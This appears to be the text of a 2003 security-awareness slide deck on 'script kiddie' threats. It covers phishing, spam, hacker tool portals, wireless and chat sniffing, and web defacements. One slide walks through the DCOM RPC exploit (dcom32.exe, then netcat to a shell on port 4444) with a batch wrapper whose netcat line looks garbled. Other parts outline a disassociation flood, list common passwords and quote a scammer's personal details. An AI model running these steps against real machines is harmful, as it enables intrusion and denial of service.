Script Kiddies IV

Paul A. Henry MCP+I, MCSE, CFSA, CFSO, CCSA, CCSE, CISM, CISSP, CISA
A quick word on Social Engineering
InfoSecurity Europe 2003 Survey

• Workers were asked a series of questions which included: What is your password? Three in four (75 per cent) of people immediately gave their password.

• If they initially refused they were asked which category their password fell into and then asked a further question to find out the password.

• A further 15 percent were then prepared to give over their passwords, after the most rudimentary of social engineering tricks were applied.

• One interviewee said, "I am the CEO, I will not give you my password it could compromise my company's information".

• A good start, but then the company boss blew it. He later said that his password was his daughter's name.

• What is your daughters name the interviewer cheekily asked - He replied without thinking: "Tasmin".
The SwiftPay Email Scheme

User avanta@gmx.net just send $974.50 USD with E-mail to you:

SwiftPay User-ID: avanta@gmx.net  (MHT Warehouse)
  Transaction#: 0053148
  Date: 21-07-2003
  Comments: We are refunding your money with swiftpay because our merchant is currently
            off-line, please excuse us for the delay

If you are not registred with SwiftPay.com please follow the link bellow:

Once you register, the money will appear in your SwiftPay's account balance in
your overview page. You can withdraw the outstanding balance to your credit or debt card's
bank account which you added during the registration process.

SwiftPay`s intuitive interface makes sending and receiving money over the web as easy as one
two three. Simply logon at SwiftPay.com and select which Swiftpay service you wish to
avail of, whether it’s to fund your account, send money to friends family or businesses,
request money or check your account details. With everything you need available at the
click of a mouse, paying with SwiftPay couldn’t be easier. Don’t forget, we value our
commitment to Customer Service at SwiftPay – should you have any queries, please don’t
hesitate to contact us and we'll do our best to answer your query as soon as possible.

With Regards,
SwiftPay Account Managers
Please fill in the form below and click on the confirm button. All information will be kept confidential. For further details on our privacy policies, please read our Privacy Statement.

First name: ____________________________
Last name: ____________________________
Address: ____________________________
City: ____________________________
State: ____________________________
Zip: ____________________________
Country: USA
Currency*: US Dollars
SSN: ____________________________ *(US Residents)
Birth Date: ____________________________ (mm/dd/yyyy)
Hmmmm See Anything Wrong......

Domain name: SWIFTSPLAY.COM

Administrative Contact:
Clifton, Nicholas  avanta@gmx.net
12 lime avenue
derby, derbyshire DE21 4GD
UK
+44.7901626136

Technical Contact:
Technical, Host Europe  webmaster@hosteurope.com
Portland Street
Beeston
Nottingham, Nottinghamshire NG9 2LP
UK
+44 115 9170000  Fax: +44 115 8770213

Registration Service Provider:
Host Europe PLC, helpdesk@hosteurope.com
+44 115 917 0000
http://www.hosteurope.com/
This company may be contacted for domain login/passwords,
DNS/Nameserver changes, and general domain support questions.

Registrar of Record: TUCOWS, INC.
Record last updated on 21-Jul-2003.
Record expires on 17-Jul-2005.
Record Created on 17-Jul-2003.
In Business? How about a Swiftpay Business Account? Click Here!

Please fill in the form below and click on the confirm button. All information will be kept confidential. For further details on our privacy policies, please read our Privacy Statement.

I may already have a Swiftpay account

First name: 
Last name: 
Address: 
City: 
State: Select State... 
Zip: 
Country: USA 
Currency *: US Dollars 
Phone: 

Your Email address must be used as your Swiftpay Login

Email/Login: 
Confirm Email/Login: 
Password: 
Confirm Password:
The Real Website DNS Record

Swiftpay International
3/4 Anglesea Buildings
Dun Laoire, Co. Dublin n/a
IE

Domain Name: SWIFTPAY.COM

Administrative Contact:
Jim Martin jim@swiftpay.com
Swiftpay International
3-4 Anglesea Buildings
Dun Laoire, Co. Dublin n/a
IE
Phone: +353 1 280 9550
Fax: +353 1 280 9572

Technical Contact:
Jim Martin jim@swiftpay.com
Swiftpay International
3-4 Anglesea Buildings
Dun Laoire, Co. Dublin n/a
IE
Phone: +353 1 280 9550
Fax: +353 1 280 9572

Record updated on 2002-11-29 14:03:13
Record created on 1998-05-12
Record expires on 2004-05-11
Database last updated on 2003-10-23 22:52:26 EST

Domain servers in listed order:
NS.MOHANKISP.NET 66.212.224.241
NS2.MOHANKISP.NET 66.212.224.242
Ebay Email Scams
Do Your Part to Stop The Madness

----- Original Message ----- |
From: "Paul Henry" <cert@cert.org>
To: <cert@cert.org>
Sent: Sunday, July 20, 2003 11:22 PM
Subject: swiftpay credit card harvesting

*** PGP SIGNATURE VERIFICATION ***
*** Status: Good Signature ***
*** Signer: Paul Henry <cert@cert.org> (0x077CF5F7) ***
*** BEGIN PGP VERIFIED MESSAGE ***

See attachment
Original email that alerted me to the scam
Screen shot and copy of scam webpage at www.swiftpay.com
Screen shot and copy or legit www.swiftpay.com page
DNS and other info on the scam site

I am concerned that hours after I reported this to swiftpay the
website is still up and harvesting unsuspecting users credit card
numbers

Paul A. Henry MCP+, MCSE, CFSA, CFSO, CCSA, CCSE, CISM, CISSP, CISA

*** END PGP VERIFIED MESSAGE ***
On with the show......
Anonymous e-mail tools...
Email Address Harvesting
<form action="http://3633527334/cgi-sys/formmail.pl" method="POST">
 <input type="hidden" name="recipient" value="bencross@angelfire.com,bencross@123india.com,sunbow11@yahoo.com"><input type="hidden" name="redirect" value="http://www.aol.com/aim/"><input type="hidden" name="subject" value="You Got 1!"><p><font size="2"><DIVALIGN="CENTER"></p>
 <div align="center"><center><table border="0" width="55">
 <TBODY>
 <tr>
 <td><table>
 <TBODY>
Behind Enemy Lines

Chapters

- The Story (Start here)
- Who is Premier Services
- Whois Domain Information
- Nslookup Information
- Contact Information and Photo Gallery
- Rodona Garst Spam Signatures
- The Mortgage Spams
- The Merchant Spams
- The Pump-And-Dump Stock Spams
- The Life-Force Spams
- How Premier Services Steals AOL, Usernames and Passwords
- Two Years of Premier Services Internal ICQ Message Logs
- Miscellaneous Documents
- Lots Get Brutal!
Spammers Photos From Her PC

Doctor got a little too casual. It's going to take a lot of visualizing to make you come close.

Nighty-night, sweet angel.
Spammers Gone Wild Collection
Hacker Vs Spammer

• Over 100 MB of data downloaded
• Database of 280,000 email addresses
• Information posted to the web by the hacker:
  – All evidence of the spammers illegal activities
  – Explicit personal dirty letters (oh my)
  – Explicit personal pictures (yes some nudes)
  – All personal information on the spammer
    • All business records
    • Residence addresses of all business associates
    • Social Security number of all business associates
    • Telephone numbers of all business associates
My email address was in the list!
Back at ya, Spammer!
Enter **one or more words** to search for. If you want to specify more than one word, use a space as a separator. Example: security linux for all topics dealing with both security and linux.

   - Attack ulits aggressor - a windows 95 based exploit generator which can emulate spoofed attacks and other system testing tools like Boink, Smurf, Land and other nuke variants (26156 hits)

   - Aggressor: Exploit Generator 0.05 - Includes Smurf3 / Land / Suffer / Boink / Spoofed OOB / Nestea / Packet Builder (TCP) and PortScan. For Windows 95/98.

3. **[http://www.cracks.am/cracks/a.html](http://www.cracks.am/cracks/a.html)**
   - Aggressor Exploit Generator 0.85

4. **[http://servisco.net/a_page_4.htm](http://servisco.net/a_page_4.htm)**
   - Aggressor Exploit Generator 0.85

5. **[http://216.15.182.22/dabest/a1.htm](http://216.15.182.22/dabest/a1.htm)**
   - Aggressor Exploit Generator v0.85 4kb

**words aggressor found on 5 pages from 1384 in database**
Welcome to the largest security community on the net! We are 6000 Members!

With over 6000 members, Astalavista's Advanced Security Member Portal is the largest security member portal in the world. A compact, up-to-date and limitless security oracle is available to all members.

What our members say about the Advanced Security Member Portal:

Sir HackAlot
I use astalavista.net because it has all the resources I need, there are sources of information that you will not find anywhere else. Astalavista.net is also good because of the user-friendly surrounding, everyone helps everyone, there is always someone there to help.

Andy Blake
It's a wonderful resource which I visit daily. Amazing work from astalavista peeps :) Worth every dollar..

Security Archive
Easy access to over 4000 tools, 2000 exploits, live hacker reports, a war games server, tutorial, source codes, unpublished documents etc.

Interactivity
Information forums supervised by specialists on hacking, tools, usage instructions etc. Information exchange with other members via U2U messenger, IRC on current topics (e.g. Winhacking).

Updating
Manual and automatic updating daily. The Live Data Exploits (security news) are sent to over 1600.

Anthony77
Fantastic member section... It is for me always fun to surf.
<table>
<thead>
<tr>
<th>Category</th>
<th>#</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mail Bombers</td>
<td>38</td>
</tr>
<tr>
<td>Mirc</td>
<td>68</td>
</tr>
<tr>
<td>Multi-Task</td>
<td>16</td>
</tr>
<tr>
<td>Needed Files</td>
<td>68</td>
</tr>
<tr>
<td>Nt Hacking</td>
<td>28</td>
</tr>
<tr>
<td>Nukers</td>
<td>46</td>
</tr>
<tr>
<td>Other Tools</td>
<td>61</td>
</tr>
<tr>
<td>Patches</td>
<td>8</td>
</tr>
<tr>
<td>Phreaking</td>
<td>51</td>
</tr>
<tr>
<td>Scanners</td>
<td>100</td>
</tr>
<tr>
<td>Sniffers</td>
<td>9</td>
</tr>
<tr>
<td>Source Code</td>
<td>32</td>
</tr>
<tr>
<td>Spoofers</td>
<td>12</td>
</tr>
<tr>
<td>Trojan Cleaners</td>
<td>16</td>
</tr>
<tr>
<td>Trojans</td>
<td>467</td>
</tr>
<tr>
<td>Wordlists</td>
<td>9</td>
</tr>
</tbody>
</table>

**Poll of the Week**

Do you think Kevin Mitnick will be into hacking again?

- Yes
- No
- Who is kevin?

**VOTE**
Scripted RPC Root Exploit

There are 2 dcom Win32 ported versions available:
Ben Laozier blauzier@al.org
http://allmmb.org/rpc/DComExpLUnixWin32.zip
"exceed" exceed@microsofttouch.org
http://allmmb.org/rpc/dcom-win32.zip

For my example I'll be using Ben's version cuz it doesn't use a cygwin.dll
How to use the Dcom32.exe ported for win32 boxes:

c:\> dcom32.exe <OS ver & service pack> <Victim IP>
(ex: C:\> dcom32.exe 2.192.168.0.2)
If all goes well you should get a shell on port 4444 to connect to.
Fire up netcat:

c:\> nc -vvv VictimPort
(ex: C:\> nc 192.168.0.2 4444
JackedXP [192.168.0.2] 4444 open
Microsoft Windows XP [Version 5.1, 2600]
C:\WINDOWS\system32)

BAM!!! You got a command prompt access to the victim box!!

easy kiddie bat for dcom32 from morning_wood

<snip rpex.bat>
@echo on
@echo easy kiddie bat by morning_wood@exploitlabs.com
@echo usage is "target remote-ip"
@echo target is 1-6 where
@echo -0 Windows 2000 SP0 (english)
@echo -1 Windows 2000 SP1 (english)
@echo -2 Windows 2000 SP2 (english)
@echo -3 Windows 2000 SP3 (english)
@echo -4 Windows 2000 SP4 (english)
@echo -5 Windows XP SP0 (english)
@echo -6 Windows XP SP1 (english)

pause
dcom32 %1 %2
c: -vvv %2 4444
</snip>
<table>
<thead>
<tr>
<th>MAC</th>
<th>SSID</th>
<th>Name</th>
<th>Ch</th>
<th>Vendor</th>
<th>Ty</th>
<th>W</th>
</tr>
</thead>
<tbody>
<tr>
<td>00409659C0B4</td>
<td>SMU</td>
<td></td>
<td>11</td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00022D1F6A1f6ac6</td>
<td>ORINOCO</td>
<td></td>
<td>1</td>
<td>Agere</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00022D21E7Eddy Home Airport</td>
<td>Prism I</td>
<td></td>
<td>10</td>
<td>Agere</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00045AE83Alinksy</td>
<td></td>
<td></td>
<td>11</td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>0040964369A5buring</td>
<td></td>
<td></td>
<td></td>
<td>Linksy</td>
<td>AP</td>
<td>Yes</td>
</tr>
<tr>
<td>00045ACC4Alinksy</td>
<td></td>
<td></td>
<td>11</td>
<td>Cisco</td>
<td>AP</td>
<td>Yes</td>
</tr>
<tr>
<td>00022D21E5Airport</td>
<td></td>
<td></td>
<td>6</td>
<td>Linksy</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00601D226497226497</td>
<td></td>
<td></td>
<td>1</td>
<td>Agere</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00034714781A STPL_WLAN</td>
<td></td>
<td></td>
<td>10</td>
<td>AP</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00409649D2StarHub</td>
<td></td>
<td></td>
<td></td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00022D0505WaveLAN Network</td>
<td></td>
<td></td>
<td></td>
<td>Agere</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>0002A56F0990WLAN</td>
<td></td>
<td></td>
<td></td>
<td>AP</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00022D062C cpqcortex</td>
<td></td>
<td></td>
<td></td>
<td>AP-1000</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00022D0506WaveLAN Network</td>
<td></td>
<td></td>
<td></td>
<td>WavePoint</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>004096490AA8GSBASIA</td>
<td></td>
<td></td>
<td></td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>004096490260GSBASIA</td>
<td></td>
<td></td>
<td></td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00409635C3C8GSBASIA</td>
<td></td>
<td></td>
<td></td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00045A0F2Alinksy</td>
<td></td>
<td></td>
<td>6</td>
<td>Linksy</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00409635C0GSBASIA</td>
<td></td>
<td></td>
<td></td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00409642C0E2GSBASIA</td>
<td></td>
<td></td>
<td></td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>004096437C20GSBASIA</td>
<td></td>
<td></td>
<td></td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00E00304C209Nokia WLAN</td>
<td></td>
<td></td>
<td>10</td>
<td>Nokia</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>000124F0Default</td>
<td></td>
<td></td>
<td>6</td>
<td>AP</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>0060B36F0Bengindo</td>
<td></td>
<td></td>
<td>7</td>
<td>Z-Com</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>0060B36F0Amandarin</td>
<td></td>
<td></td>
<td>3</td>
<td>Z-Com</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>0060B36F0Fengindo</td>
<td></td>
<td></td>
<td>8</td>
<td>Z-Com</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>00022D1CFD Elibrary</td>
<td></td>
<td></td>
<td>3</td>
<td>Agere</td>
<td>AP</td>
<td></td>
</tr>
<tr>
<td>004096365F82tsunami</td>
<td></td>
<td></td>
<td>6</td>
<td>Cisco</td>
<td>AP</td>
<td></td>
</tr>
</tbody>
</table>
Mobile Netstumbler Kit w/ ORINOCO Gold Card

Details
- Manufacturer: Netstumbler
- SKU Number: STUM-ANTW
- Availability: Usually ships in 24-48 hours
- Market price: $199.00
- **Price:** $150.00

Description

**NOTE:** Support is provided for the Netstumbler hardware only. Help with the Netstumbler software can be found in the Netstumbler Forums.

The Mobile WLAN Stumbler Kit is an ideal kit for sniffing access points! It contains a 5 dbi magnetic mount antenna, pigtail and Orinoco Gold card. The kit is available without a card as well. Get the Mobile WLAN Stumbler Kit and there are no limits!
New tools — WLAN hacking made easy

SMAC 1.1 [WBEM On]

- ID
- Active
- Spoofed
- Network Adapter
- IP Address
- Active MAC

- Show Only Active Network Adapters

- New Spoofed MAC Address
- Spoofed MAC Address
- Active MAC Address

- Update MAC
- Refresh
- Remove MAC
- Exit

Disclaimer: Use this program at your own risk. We are not responsible for any damage that might occur to your system. This program is not to be used for any illegal or unethical purpose. Do not use this program if you do not agree with this disclaimer.
# 802.11X Management Frames

<table>
<thead>
<tr>
<th>IEEE 802.2</th>
<th>IEEE 802.11</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logical Link Control (LLC)</td>
<td>Media Access Control (MAC)</td>
</tr>
<tr>
<td>Frequency Hopping</td>
<td>Direct Sequence Spread</td>
</tr>
<tr>
<td>Spread Spectrum PHY</td>
<td>Spectrum PHY</td>
</tr>
</tbody>
</table>

**Diagram:**

- MAC
- PHY
- OSI Layer 2 (Data Link)
- OSI Layer 1 (Physical)
The beauty is in the simplicity.....

- Listen for any 802.11x packet and get MAC address pair.
- Create disassociation datagram using MAC address pair and transmit.
- Repeat.......  

Coming to an AP near you very soon!
Wireless Hacking Evolves

- **War Nibbling**
  - **Hacking Bluetooth Devices**
    - Make long distance calls for free
    - Steal address books
    - Steal stored messages
    - DoS the device
    - Sniff data
    - Windows supports Bluetooth (Oh My)
War Nibbling – Bluetooth Tools
Sniffing Wireless is Old School

- Sniffing Wireless did not begin with 802.X
- Hackers were building hardware to allow them to listen in on Pagers back in the late 1980’s
- The very same protocols used then are still in wide use today
- New devices like the wireless BlackBerry are simply making the use of these Old School hacking techniques more popular again
- Many users do not realize that their email and chat on their wireless device may be in the clear for inquiring minds to see….
About that BlackBerry........
Chat programs gaining popularity

And so are the respective hacking tools....
Sniff All AOL Chat Traffic
<table>
<thead>
<tr>
<th>CNT</th>
<th>ID</th>
<th>Date/Time</th>
<th>IP</th>
<th>From</th>
<th>To</th>
<th>Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td>15770</td>
<td>2003-03-05 09:07:11</td>
<td></td>
<td>nick50119</td>
<td>spottingfire101</td>
<td>456</td>
</tr>
<tr>
<td>11</td>
<td>15771</td>
<td>2003-03-05 09:07:11</td>
<td></td>
<td>nick50119</td>
<td>spottingfire101</td>
<td>456</td>
</tr>
<tr>
<td>12</td>
<td>15768</td>
<td>2003-03-05 09:05:06</td>
<td></td>
<td>spottingfire101</td>
<td>Nick50119</td>
<td>i setup an auto refresh on the &quot;last50&quot; snapshot page</td>
</tr>
<tr>
<td>13</td>
<td>15769</td>
<td>2003-03-05 09:05:06</td>
<td></td>
<td>spottingfire101</td>
<td>nick50119</td>
<td>test 2.0</td>
</tr>
<tr>
<td>14</td>
<td>15766</td>
<td>2003-03-05 09:05:06</td>
<td></td>
<td>spottingfire101</td>
<td>blackpanther989</td>
<td>test 2.0</td>
</tr>
<tr>
<td>15</td>
<td>15767</td>
<td>2003-03-05 09:04:28</td>
<td></td>
<td>spottingfire101</td>
<td></td>
<td>test 2.0</td>
</tr>
<tr>
<td>16</td>
<td>15764</td>
<td>2003-03-05 09:04:22</td>
<td></td>
<td>spottingfire101</td>
<td></td>
<td>test 2.0</td>
</tr>
<tr>
<td>17</td>
<td>15765</td>
<td>2003-03-05 09:04:22</td>
<td></td>
<td>spottingfire101</td>
<td></td>
<td>test 2.0</td>
</tr>
<tr>
<td>18</td>
<td>15762</td>
<td>2003-03-05 09:04:04</td>
<td></td>
<td>spottingfire101</td>
<td>blackpanther989</td>
<td>setup an auto refresh on the &quot;last50&quot; snapshot page</td>
</tr>
<tr>
<td>19</td>
<td>15763</td>
<td>2003-03-05 09:04:04</td>
<td></td>
<td>spottingfire101</td>
<td>blackpanther989</td>
<td>test 2.0</td>
</tr>
<tr>
<td>20</td>
<td>15760</td>
<td>2003-03-05 09:02:00</td>
<td></td>
<td>spottingfire101</td>
<td></td>
<td>test 2.0</td>
</tr>
<tr>
<td>21</td>
<td>15761</td>
<td>2003-03-05 09:02:00</td>
<td></td>
<td>blackpanther989</td>
<td>spottingfire101</td>
<td>test 2.0</td>
</tr>
<tr>
<td>22</td>
<td>15758</td>
<td>2003-03-05 08:57:11</td>
<td></td>
<td>blackpanther989</td>
<td>spottingfire101</td>
<td>test</td>
</tr>
<tr>
<td>23</td>
<td>15759</td>
<td>2003-03-05 08:57:11</td>
<td></td>
<td>blackpanther989</td>
<td>spottingfire101</td>
<td>test</td>
</tr>
<tr>
<td>24</td>
<td>15756</td>
<td>2003-03-05 07:57:57</td>
<td></td>
<td>blackpanther989</td>
<td>nick50119</td>
<td>gosssh0</td>
</tr>
<tr>
<td>25</td>
<td>15757</td>
<td>2003-03-05 07:57:57</td>
<td></td>
<td>blackpanther989</td>
<td>nick50119</td>
<td>gosssh0</td>
</tr>
</tbody>
</table>

### SQL Query

```sql
SELECT id, ts, ip, fromHandle, handle, direction, message FROM logs ORDER BY ts DESC LIMIT 50;
```
Sniff all MSN Chat Traffic

MSN Messenger conversation list:

<table>
<thead>
<tr>
<th>#</th>
<th>IP</th>
<th>Port</th>
<th>User/(email)</th>
<th>Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>192.168.1.1</td>
<td>1068</td>
<td><a href="mailto:snaxvsa@hotmail.com">snaxvsa@hotmail.com</a></td>
<td>03, 2003-8-16 18:52:44</td>
</tr>
<tr>
<td>1</td>
<td>192.168.1.1</td>
<td>1064</td>
<td><a href="mailto:testsniffer@hotmail.com">testsniffer@hotmail.com</a></td>
<td>03, 2003-8-16 18:53:35</td>
</tr>
<tr>
<td>2</td>
<td>192.168.1.1</td>
<td>1064</td>
<td><a href="mailto:testsniffer@hotmail.com">testsniffer@hotmail.com</a></td>
<td>03, 2003-8-16 18:53:35</td>
</tr>
<tr>
<td>3</td>
<td>192.168.1.1</td>
<td>1064</td>
<td><a href="mailto:testsniffer@hotmail.com">testsniffer@hotmail.com</a></td>
<td>03, 2003-8-16 18:53:35</td>
</tr>
<tr>
<td>4</td>
<td>192.168.1.1</td>
<td>1064</td>
<td><a href="mailto:testsniffer@hotmail.com">testsniffer@hotmail.com</a></td>
<td>03, 2003-8-16 18:53:35</td>
</tr>
<tr>
<td>5</td>
<td>192.168.1.1</td>
<td>1064</td>
<td><a href="mailto:testsniffer@hotmail.com">testsniffer@hotmail.com</a></td>
<td>03, 2003-8-16 18:53:35</td>
</tr>
<tr>
<td>6</td>
<td>192.168.1.1</td>
<td>1064</td>
<td><a href="mailto:testsniffer@hotmail.com">testsniffer@hotmail.com</a></td>
<td>03, 2003-8-16 18:53:35</td>
</tr>
</tbody>
</table>

Messages in the conversation: [Auto Refresh] [Refresh]

Capturing... Buffer Usage: 156 KB Conversations: 10

Select the adapter through which to capture network traffic...

Current network adapter:

Select new network adapter from list below:

<table>
<thead>
<tr>
<th>Adapter</th>
<th>IP</th>
<th>NetMask</th>
<th>Data-Link</th>
</tr>
</thead>
<tbody>
<tr>
<td>Device\Packet_MAC</td>
<td>172.16.0.0</td>
<td>255.255.0.0</td>
<td>Ethernet (10Mb)</td>
</tr>
<tr>
<td>Device\Packet_MAC</td>
<td>172.16.0.0</td>
<td>255.255.0.0</td>
<td>Ethernet (10Mb)</td>
</tr>
<tr>
<td>Device\Packet_MAC</td>
<td>172.16.0.0</td>
<td>255.255.0.0</td>
<td>Ethernet (10Mb)</td>
</tr>
</tbody>
</table>
Latest version of WebCrack
Common Passwords

- System administrators generally prefer God; arrogance is a weakness
- "welcome" is the most common default password used by most of the web-hosting clients.
- Here is the list of passwords that has been most entered:
  - love, sex, god, secret, default, unknown, aaa, abc, academia, academic, access, ada, admin, aerobics, airplane, albany, alf, algebra, alias, aliases, alpha, alphabet, amber, amorphous, analog, anchor, andromache, animals, anita, answer, anthropogenic, anything, april, aria, arrow, athena, atmosphere, aztecs, banana, bandit, banks, bart, bartman, basic, batman, beauty, wizard, work, whatever, visitor, unix, sysadmin, super, student, somebody, pass, password, p@ssw0rd, soap, smile, singer, signature, rolex, professor, pencil, paper, papers, operator, office, nobody, master, manager, guitar, golf, games, ferrari, coke, cigar, etc.
Aggressor Exploit Generator v0.8axSR(Beta1) - SIMPLE MODE

Destination IP: 192.168.2.1
Source IP: 23.34.56.78
Start Port: 139
Stop Port: 139
Delay: 5
# of packets: 50

[DDH] VERSION: Aggressor Direct Device Library v0.7(c)
[PPP] VERSION: WinPPP 2.7.Aggressor
[PPP] Running for Windows 98, DRO-4 Hooked
[DDA] Current DDAPI Port is 2E8
[DDA] Current DDAPI Port is 3E8
[DDA] Current DDAPI Port is 3F8
[DDA] Current DDAPI Port is 2E8
[APP] Entering Simple (Lame) Mode ..
[APP] Error: Enter Destination IP
[APP] Error: Enter Destination IP
[APP] Error: Enter Destination IP
[APP] Error: Enter Destination IP
[APP] Error: Enter Destination IP

Threads running: 1
Total # of Packets Sent: 0
Last Process: None.
Aggressor PPP Status: OK

Show Count □ Verbose Mode □
Clear buffer □ Advanced Mode □ Terminate □
New hacking tool suites...
New tools... dbx ripper

Opens Microsoft e-mail / news database without any account name or password and then creates a new clear text file containing all e-mail, news postings and headers.
Think your packet filter is enough?
Remember Revelation?

SnadBoy’s Revelation

'Circled +' Cursor
Drag to reveal password

Check For Update  About  Exit

Copy to clipboard

Status
Revelation idle.

Length of available text: 0

- Reposition Revelation out of the way when dragging ‘circled +’
- Always on top
- When minimized, put in System Tray
- Hide 'How to' instructions

How to
1) Left click and drag (while holding down the left mouse button) the ‘circled +’
2) As you drag the ‘circled +’ cursor over different fields on various windows, the text in the field under the cursor will be displayed in the 'Text of Window...' box.
3) Release the left mouse button when you have revealed the text you desire.

NOTE - If the field contains text hidden by asterisks [or some other character], the actual text will be shown. In some cases the text may actually be asterisks.

NOTE - Not all of the fields that the cursor passes over will have text that can be revealed. Check the status light for availability of text.

Bright green = text available (See 'Length of text:' in Status area)

Bright red = no text available
Grab every username and password
Cookie and http header forger

Forge your cookies or fake HTTP headers with Internet Explorer. For once thanks to M$ :))))

Web hacking tools...
Web hacking tools...
Web hacking tools...
### Digital Attacks Archive

#### Legend:
- **H**: Homepage defacement
- **M**: Mass defacement (click to view all defacements of this IP)
- **R**: Redefacement (click to view all defacements of this site)
- **★**: Special defacement

<table>
<thead>
<tr>
<th>Time</th>
<th>Attacker</th>
<th>Domain</th>
<th>OS</th>
<th>View</th>
</tr>
</thead>
<tbody>
<tr>
<td>2003/02/09</td>
<td>Sensus</td>
<td>...sg_private/HvD-79.asp</td>
<td>Win NT/9x</td>
<td>view</td>
</tr>
<tr>
<td></td>
<td>Dolokseribu</td>
<td></td>
<td></td>
<td>mirror</td>
</tr>
<tr>
<td>2003/02/02</td>
<td>RafLy</td>
<td>honda.com.sg/refly.htm</td>
<td>Win NT/9x</td>
<td>view</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>mirror</td>
</tr>
<tr>
<td>2003/01/30</td>
<td>Medani-Hacking</td>
<td>asia.sakon.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/28</td>
<td>GankNet</td>
<td>...sg_private/HvD-79.asp</td>
<td>Win NT/9x</td>
<td>view</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>mirror</td>
</tr>
<tr>
<td>2003/01/16</td>
<td>GankNet</td>
<td>...sg_private/HvD-79.asp</td>
<td>Win NT/9x</td>
<td>view</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>mirror</td>
</tr>
<tr>
<td>2003/01/14</td>
<td>Bug-Travel</td>
<td>jayasoft.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>wuthalamb.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>planetcrush.org.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>beverlyhillsbeauty.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>yifan.paradigm.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>...forume.paradigm.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>...nities.paradigm.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>crushhq.org.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>herose.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/12</td>
<td>Bug-Travel</td>
<td>biomedical.com.sg</td>
<td>Linux</td>
<td>view</td>
</tr>
<tr>
<td>2003/01/09</td>
<td>Affix</td>
<td>acturaries.org.sg</td>
<td>BSD/OS</td>
<td>view</td>
</tr>
</tbody>
</table>

**Main Menu**
- **Homepage**
- **News**
- **Advisories**
- **Download area**
- **Digital attacks**
- **Attacks archive**
- **Attack notification**
- **Internet spam/frauds**
- **Stay tuned**
- **Infocsec paper**
- **Mailing list subscription**
- **Passive public area**
- **Stats & Graphs**
- **Unsuccess stories**
- **Active public area**
- **Legal corner**
- **Forum section**
- **Join Zone-h IRC chat**
- **Zone-H club**
- **Staff performance**
- **Meet our staff**
- **Link to us**
- **Contact us**
- **Commercials/Campaigns**
- **Zone-H e-Shop**
- **Anti-pedophilia campaign**
- **Disclaimer**
- **Black or White hat?**
<table>
<thead>
<tr>
<th>Time</th>
<th>Attacker</th>
<th>Domain</th>
<th>OS</th>
<th>View</th>
<th>Mirror</th>
</tr>
</thead>
<tbody>
<tr>
<td>2002/10/17</td>
<td>MHA</td>
<td>...edu.sg/msadc/mha.asp</td>
<td>Win NT/9x</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2002/09/19</td>
<td>Shellc0d3</td>
<td>H</td>
<td>Win 2000</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2002/08/22</td>
<td>M4F14</td>
<td>H</td>
<td>Win 2000</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2002/08/10</td>
<td>S4t4n1c_S0uls</td>
<td>H</td>
<td>Win 2000</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2002/08/09</td>
<td>S4t4n1c_S0uls</td>
<td>H</td>
<td>Win 2000</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2002/07/05</td>
<td>p0rt</td>
<td>H</td>
<td>Win NT/9x</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2002/01/29</td>
<td>MHA</td>
<td>H</td>
<td>Windows</td>
